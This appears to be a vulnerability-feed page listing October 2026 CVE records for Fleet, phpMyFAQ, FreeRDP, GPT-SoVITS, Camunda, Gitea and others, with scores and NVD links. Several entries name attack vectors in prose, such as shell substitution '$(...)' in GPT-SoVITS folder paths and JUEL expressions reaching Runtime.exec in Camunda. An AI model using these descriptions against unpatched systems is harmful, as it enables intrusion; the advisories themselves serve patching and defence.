Fleet before 4.83.0 contains a denial of service vulnerability that allows unauthenticated attackers to exhaust server memory by sending gzip-compressed request bodies. Attackers can send small, highly compressed requests with Content-Encoding: gzip to unauthenticated endpoints that expand during decoding, crashing the entire Fleet instance.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vikunja 0.22.0 before 2.7.0 contains an improper access revocation vulnerability that allows removed collaborators to keep receiving project data through webhooks they created.
https://kevwire.com/record/CVE-2026-111919
Vikunja 0.22.0 before 2.7.0 contains an improper access revocation vulnerability that allows removed collaborators to keep receiving project data through webhooks they created. (Oct 17, 2026).
Vikunja 0.22.0 before 2.7.0 contains an improper access revocation vulnerability that allows removed collaborators to keep receiving project data through webhooks they created. Former collaborators keep receiving task titles and descriptions through their webhook, including content created after their access was revoked.
CVSS 7.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111919).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111919&date=2026-10-25).
Sources:
NVD CVE-2026-111919: https://nvd.nist.gov/vuln/detail/CVE-2026-111919
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111919&date=2026-10-25
Vikunja 0.22.0 before 2.7.0 contains an improper access revocation vulnerability that allows removed collaborators to keep receiving project data through webhooks they created. Former collaborators keep receiving task titles and descriptions through their webhook, including content created after their access was revoked.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### phpMyFAQ 4.0.0 before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains a broken object-level authorization vulnerability in the PUT /api/v3.1/faq/update endpoint, which checks...
https://kevwire.com/record/CVE-2026-111908
phpMyFAQ 4.0.0 before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains a broken object-level authorization vulnerability in the PUT /api/v3.1/faq/update endpoint, which checks... (Oct 17, 2026).
phpMyFAQ 4.0.0 before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains a broken object-level authorization vulnerability in the PUT /api/v3.1/faq/update endpoint, which checks only the global edit_faq permission and does not verify access to the target FAQ. Authenticated users with edit_faq permission can supply the ID of a restricted FAQ they cannot view to modify its content, bypass moderation, and change its publication state.
CVSS 8.7 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111908).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111908&date=2026-10-25).
Sources:
NVD CVE-2026-111908: https://nvd.nist.gov/vuln/detail/CVE-2026-111908
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111908&date=2026-10-25
phpMyFAQ 4.0.0 before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains a broken object-level authorization vulnerability in the PUT /api/v3.1/faq/update endpoint, which checks only the global edit_faq permission and does not verify access to the target FAQ. Authenticated users with edit_faq permission can supply the ID of a restricted FAQ they cannot view to modify its content, bypass moderation, and change its publication state.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### phpMyFAQ 4.2.0-alpha before 4.2.0-beta contains an authorization bypass vulnerability that allows category-restricted editors to manage attachments of FAQs outside their...
https://kevwire.com/record/CVE-2026-111897
phpMyFAQ 4.2.0-alpha before 4.2.0-beta contains an authorization bypass vulnerability that allows category-restricted editors to manage attachments of FAQs outside their... (Oct 17, 2026).
phpMyFAQ 4.2.0-alpha before 4.2.0-beta contains an authorization bypass vulnerability that allows category-restricted editors to manage attachments of FAQs outside their categories by supplying arbitrary record IDs. Attackers in medium permission mode can send upload or delete requests with a target record_id or attachment ID to tamper with or remove files on unauthorized FAQs.
CVSS 7.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111897).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111897&date=2026-10-25).
Sources:
NVD CVE-2026-111897: https://nvd.nist.gov/vuln/detail/CVE-2026-111897
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111897&date=2026-10-25
phpMyFAQ 4.2.0-alpha before 4.2.0-beta contains an authorization bypass vulnerability that allows category-restricted editors to manage attachments of FAQs outside their categories by supplying arbitrary record IDs. Attackers in medium permission mode can send upload or delete requests with a target record_id or attachment ID to tamper with or remove files on unauthorized FAQs.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP from 3.14.1 before 3.32.0 contains an integer underflow in the WinPR BMP writer, where a mismatched stride calculation passes SIZE_MAX - 3 to Stream_Zero for sub-byte...
https://kevwire.com/record/CVE-2026-111881
FreeRDP from 3.14.1 before 3.32.0 contains an integer underflow in the WinPR BMP writer, where a mismatched stride calculation passes SIZE_MAX - 3 to Stream_Zero for sub-byte... (Oct 17, 2026).
FreeRDP from 3.14.1 before 3.32.0 contains an integer underflow in the WinPR BMP writer, where a mismatched stride calculation passes SIZE_MAX - 3 to Stream_Zero for sub-byte images. A malicious RDP clipboard peer can return a crafted 1-bpp BMP processed by clipboard_synthesize_image_format_to_bmp for CF_DIB/CF_DIBV5, crashing the client or causing an out-of-bounds write.
CVSS 7.2 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111881).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111881&date=2026-10-25).
Sources:
NVD CVE-2026-111881: https://nvd.nist.gov/vuln/detail/CVE-2026-111881
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111881&date=2026-10-25
FreeRDP from 3.14.1 before 3.32.0 contains an integer underflow in the WinPR BMP writer, where a mismatched stride calculation passes SIZE_MAX - 3 to Stream_Zero for sub-byte images. A malicious RDP clipboard peer can return a crafted 1-bpp BMP processed by clipboard_synthesize_image_format_to_bmp for CF_DIB/CF_DIBV5, crashing the client or causing an out-of-bounds write.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security vulnerability has been detected in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. This affects the function...
https://kevwire.com/record/CVE-2026-111872
A security vulnerability has been detected in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. This affects the function... (Oct 18, 2026).
A security vulnerability has been detected in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. This affects the function MySQLDB::valid/MySQLDB::getresults/MySQLDB::noresults/MySQLDB::getExams/MySQLDB::latestExamID/MySQLDB::getreport of the file results.php/include/database.php. The manipulation of the argument id/user/topic leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111872).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111872&date=2026-10-25).
Sources:
NVD CVE-2026-111872: https://nvd.nist.gov/vuln/detail/CVE-2026-111872
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111872&date=2026-10-25
A security vulnerability has been detected in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. This affects the function MySQLDB::valid/MySQLDB::getresults/MySQLDB::noresults/MySQLDB::getExams/MySQLDB::latestExamID/MySQLDB::getreport of the file results.php/include/database.php. The manipulation of the argument id/user/topic leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An issue was discovered on Tektronix 3 Series MDO devices before 1.21.1.
https://kevwire.com/record/CVE-2026-111854
An issue was discovered on Tektronix 3 Series MDO devices before 1.21.1. (Oct 17, 2026).
An issue was discovered on Tektronix 3 Series MDO devices before 1.21.1. A path traversal vulnerability in the SCPI FILESystem command interface allows remote attackers to read or modify arbitrary files on the device through insufficient validation of file paths supplied to filesystem access commands.
CVSS 8.1 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111854).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111854&date=2026-10-25).
Sources:
NVD CVE-2026-111854: https://nvd.nist.gov/vuln/detail/CVE-2026-111854
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111854&date=2026-10-25
An issue was discovered on Tektronix 3 Series MDO devices before 1.21.1. A path traversal vulnerability in the SCPI FILESystem command interface allows remote attackers to read or modify arbitrary files on the device through insufficient validation of file paths supplied to filesystem access commands.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### AMI APTIOV contains vulnerabilities in BIOS
where users may cause “Integer Overflow or Wraparound” by local access. Successful exploitation of this vulnerability could
lead to...
https://kevwire.com/record/CVE-2025-58771
AMI APTIOV contains vulnerabilities in BIOS
where users may cause “Integer Overflow or Wraparound” by local access. Successful exploitation of this vulnerability could
lead to... (Oct 13, 2026).
AMI APTIOV contains vulnerabilities in BIOS
where users may cause “Integer Overflow or Wraparound” by local access. Successful exploitation of this vulnerability could
lead to buffer overflows, memory corruption, and arbitrary code execution, and
also impact Confidentiality, Integrity, and Availability.
CVSS 7.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2025-58771).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-58771&date=2026-10-25).
Sources:
NVD CVE-2025-58771: https://nvd.nist.gov/vuln/detail/CVE-2025-58771
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-58771&date=2026-10-25
AMI APTIOV contains vulnerabilities in BIOS
where users may cause “Integer Overflow or Wraparound” by local access. Successful exploitation of this vulnerability could
lead to buffer overflows, memory corruption, and arbitrary code execution, and
also impact Confidentiality, Integrity, and Availability.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A path traversal vulnerability has been reported to affect Video Station.
https://kevwire.com/record/CVE-2025-66272
A path traversal vulnerability has been reported to affect Video Station. (Oct 15, 2026).
A path traversal vulnerability has been reported to affect Video Station. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data.

We have already fixed the vulnerability in the following version:
Video Station 5.8.5 and later
CVSS 7.7 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2025-66272).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-66272&date=2026-10-25).
Sources:
NVD CVE-2025-66272: https://nvd.nist.gov/vuln/detail/CVE-2025-66272
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-66272&date=2026-10-25
A path traversal vulnerability has been reported to affect Video Station. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data.

We have already fixed the vulnerability in the following version:
Video Station 5.8.5 and later

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A path traversal vulnerability has been reported to affect Video Station.
https://kevwire.com/record/CVE-2025-66275
A path traversal vulnerability has been reported to affect Video Station. (Oct 15, 2026).
A path traversal vulnerability has been reported to affect Video Station. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data.

We have already fixed the vulnerability in the following version:
Video Station 5.8.5 and later
CVSS 7.7 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2025-66275).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-66275&date=2026-10-25).
Sources:
NVD CVE-2025-66275: https://nvd.nist.gov/vuln/detail/CVE-2025-66275
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-66275&date=2026-10-25
A path traversal vulnerability has been reported to affect Video Station. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data.

We have already fixed the vulnerability in the following version:
Video Station 5.8.5 and later

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A time-of-check time-of-use (toctou) race condition vulnerability has been reported to affect QuRouter.
https://kevwire.com/record/CVE-2025-68404
A time-of-check time-of-use (toctou) race condition vulnerability has been reported to affect QuRouter. (Oct 15, 2026).
A time-of-check time-of-use (toctou) race condition vulnerability has been reported to affect QuRouter. If exploited, the vulnerability could allow remote attackers to compromise the security of the system.

We have already fixed the vulnerability in the following version:
QuRouter 2.6.4.001 and later
CVSS 7.5 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2025-68404).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-68404&date=2026-10-25).
Sources:
NVD CVE-2025-68404: https://nvd.nist.gov/vuln/detail/CVE-2025-68404
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-68404&date=2026-10-25
A time-of-check time-of-use (toctou) race condition vulnerability has been reported to affect QuRouter. If exploited, the vulnerability could allow remote attackers to compromise the security of the system.

We have already fixed the vulnerability in the following version:
QuRouter 2.6.4.001 and later

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### GPT-SoVITS through 20250606v2pro contains an OS command injection vulnerability in tools/uvr5/vr.py that allows unauthenticated attackers to execute commands via output folder...
https://kevwire.com/record/CVE-2025-71429
GPT-SoVITS through 20250606v2pro contains an OS command injection vulnerability in tools/uvr5/vr.py that allows unauthenticated attackers to execute commands via output folder... (Oct 12, 2026).
GPT-SoVITS through 20250606v2pro contains an OS command injection vulnerability in tools/uvr5/vr.py that allows unauthenticated attackers to execute commands via output folder paths. Attackers can enter shell substitutions like $(...) in the UVR5 WebUI output folder textboxes with mp3 or m4a export to run commands as the server user.
CVSS 9.3 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2025-71429).
EPSS 2.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-71429&date=2026-10-25).
Sources:
NVD CVE-2025-71429: https://nvd.nist.gov/vuln/detail/CVE-2025-71429
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-71429&date=2026-10-25
GPT-SoVITS through 20250606v2pro contains an OS command injection vulnerability in tools/uvr5/vr.py that allows unauthenticated attackers to execute commands via output folder paths. Attackers can enter shell substitutions like $(...) in the UVR5 WebUI output folder textboxes with mp3 or m4a export to run commands as the server user.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 14.92.1 and 15.x before 15.83.0 contains a reflected cross-site scripting vulnerability due to missing input validation on a certain page, allowing arbitrary...
https://kevwire.com/record/CVE-2025-71432
Frappe ERPNext before 14.92.1 and 15.x before 15.83.0 contains a reflected cross-site scripting vulnerability due to missing input validation on a certain page, allowing arbitrary... (Oct 12, 2026).
Frappe ERPNext before 14.92.1 and 15.x before 15.83.0 contains a reflected cross-site scripting vulnerability due to missing input validation on a certain page, allowing arbitrary JavaScript to execute in authenticated sessions. Remote attackers can lure a logged-in user into opening a crafted URL to run injected script and take over the victim's account.
CVSS 8.6 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2025-71432).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-71432&date=2026-10-25).
Sources:
NVD CVE-2025-71432: https://nvd.nist.gov/vuln/detail/CVE-2025-71432
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-71432&date=2026-10-25
Frappe ERPNext before 14.92.1 and 15.x before 15.83.0 contains a reflected cross-site scripting vulnerability due to missing input validation on a certain page, allowing arbitrary JavaScript to execute in authenticated sessions. Remote attackers can lure a logged-in user into opening a crafted URL to run injected script and take over the victim's account.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect boundary conditions in the SVG component.
https://kevwire.com/record/CVE-2026-109762
Incorrect boundary conditions in the SVG component. (Oct 13, 2026).
Incorrect boundary conditions in the SVG component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.
CVSS 8.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109762).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109762&date=2026-10-25).
Sources:
NVD CVE-2026-109762: https://nvd.nist.gov/vuln/detail/CVE-2026-109762
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109762&date=2026-10-25
Incorrect boundary conditions in the SVG component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Site isolation issue in the DOM: Web Authentication component.
https://kevwire.com/record/CVE-2026-109750
Site isolation issue in the DOM: Web Authentication component. (Oct 13, 2026).
Site isolation issue in the DOM: Web Authentication component. This vulnerability was fixed in Firefox 158 and Thunderbird 158.
CVSS 9.6 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109750).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109750&date=2026-10-25).
Sources:
NVD CVE-2026-109750: https://nvd.nist.gov/vuln/detail/CVE-2026-109750
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109750&date=2026-10-25
Site isolation issue in the DOM: Web Authentication component. This vulnerability was fixed in Firefox 158 and Thunderbird 158.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Gitea resolved the principals of an SSH certificate by searching the content of all stored public keys instead of only principal keys.
https://kevwire.com/record/CVE-2026-109553
Gitea resolved the principals of an SSH certificate by searching the content of all stored public keys instead of only principal keys. (Oct 18, 2026).
Gitea resolved the principals of an SSH certificate by searching the content of all stored public keys instead of only principal keys. When Gitea trusts a user certificate authority (`SSH_TRUSTED_USER_CA_KEYS`) and accepts arbitrary principals (`SSH_AUTHORIZED_PRINCIPALS_ALLOW=anything`), a user could register another user's public key line as their own principal, or a holder of a certificate signed by that authority could list it, and then authenticate as the owner of that key through the HTTP signature API and the built-in SSH server. Instances that do not trust a user certificate authority are not affected.
CVSS 7.5 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109553).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109553&date=2026-10-25).
Sources:
NVD CVE-2026-109553: https://nvd.nist.gov/vuln/detail/CVE-2026-109553
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109553&date=2026-10-25
Gitea resolved the principals of an SSH certificate by searching the content of all stored public keys instead of only principal keys. When Gitea trusts a user certificate authority (`SSH_TRUSTED_USER_CA_KEYS`) and accepts arbitrary principals (`SSH_AUTHORIZED_PRINCIPALS_ALLOW=anything`), a user could register another user's public key line as their own principal, or a holder of a certificate signed by that authority could list it, and then authenticate as the owner of that key through the HTTP signature API and the built-in SSH server. Instances that do not trust a user certificate authority are not affected.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SENAYAN Library Management System (SLiMS) Bulian (slims9_bulian) 9.8.0 is vulnerable to SQL Injection in admin/modules/reporting/customs/dl_detail.php via the parameter fileID.
https://kevwire.com/record/CVE-2026-107083
SENAYAN Library Management System (SLiMS) Bulian (slims9_bulian) 9.8.0 is vulnerable to SQL Injection in admin/modules/reporting/customs/dl_detail.php via the parameter fileID. (Oct 19, 2026).
SENAYAN Library Management System (SLiMS) Bulian (slims9_bulian) 9.8.0 is vulnerable to SQL Injection in admin/modules/reporting/customs/dl_detail.php via the parameter fileID.
CVSS 9.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107083).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107083&date=2026-10-25).
Sources:
NVD CVE-2026-107083: https://nvd.nist.gov/vuln/detail/CVE-2026-107083
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107083&date=2026-10-25
SENAYAN Library Management System (SLiMS) Bulian (slims9_bulian) 9.8.0 is vulnerable to SQL Injection in admin/modules/reporting/customs/dl_detail.php via the parameter fileID.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Camunda 7.24.0 before 7.24.14 and 7.23.0 before 7.23.17 contains an expression injection vulnerability where AdhocQueryValidator.validate() fails to check sub-query expression...
https://kevwire.com/record/CVE-2026-109432
Camunda 7.24.0 before 7.24.14 and 7.23.0 before 7.23.17 contains an expression injection vulnerability where AdhocQueryValidator.validate() fails to check sub-query expression... (Oct 19, 2026).
Camunda 7.24.0 before 7.24.14 and 7.23.0 before 7.23.17 contains an expression injection vulnerability where AdhocQueryValidator.validate() fails to check sub-query expression maps within the orQueries field exposed by TaskQueryDto, allowing authenticated users to bypass the enableExpressionsInAdhocQueries restriction. Attackers can supply a malicious JUEL expression such as dueAfterExpression inside an orQueries entry to achieve arbitrary Java reflection and invoke java.lang.Runtime.exec, resulting in operating-system command execution as the engine service user.
CVSS 9.3 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109432).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109432&date=2026-10-25).
Sources:
NVD CVE-2026-109432: https://nvd.nist.gov/vuln/detail/CVE-2026-109432
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109432&date=2026-10-25
Camunda 7.24.0 before 7.24.14 and 7.23.0 before 7.23.17 contains an expression injection vulnerability where AdhocQueryValidator.validate() fails to check sub-query expression maps within the orQueries field exposed by TaskQueryDto, allowing authenticated users to bypass the enableExpressionsInAdhocQueries restriction. Attackers can supply a malicious JUEL expression such as dueAfterExpression inside an orQueries entry to achieve arbitrary Java reflection and invoke java.lang.Runtime.exec, resulting in operating-system command execution as the engine service user.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Sunshine is a self-hosted game stream host for Moonlight.
https://kevwire.com/record/CVE-2026-111044
Sunshine is a self-hosted game stream host for Moonlight. (Oct 16, 2026).
Sunshine is a self-hosted game stream host for Moonlight. From 2026.329.165800 until 2026.906.222525, Sunshine accepted any client certificate that chained to a stored paired-client certificate, but it did not require the presented certificate to be the exact enabled paired identity. Certificate text was also compared without canonicalizing equivalent PEM encodings. A previously paired client that retains its private key can present an alternate certificate derived from its paired certificate and bypass the Disable control. Equivalent PEM encodings could also cause inconsistent client identity handling. A client that was never paired cannot use this issue, and removing the paired client removes its trust relationship. This issue is fixed in version 2026.906.222525.
CVSS 7.6 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111044).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111044&date=2026-10-25).
Sources:
NVD CVE-2026-111044: https://nvd.nist.gov/vuln/detail/CVE-2026-111044
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111044&date=2026-10-25
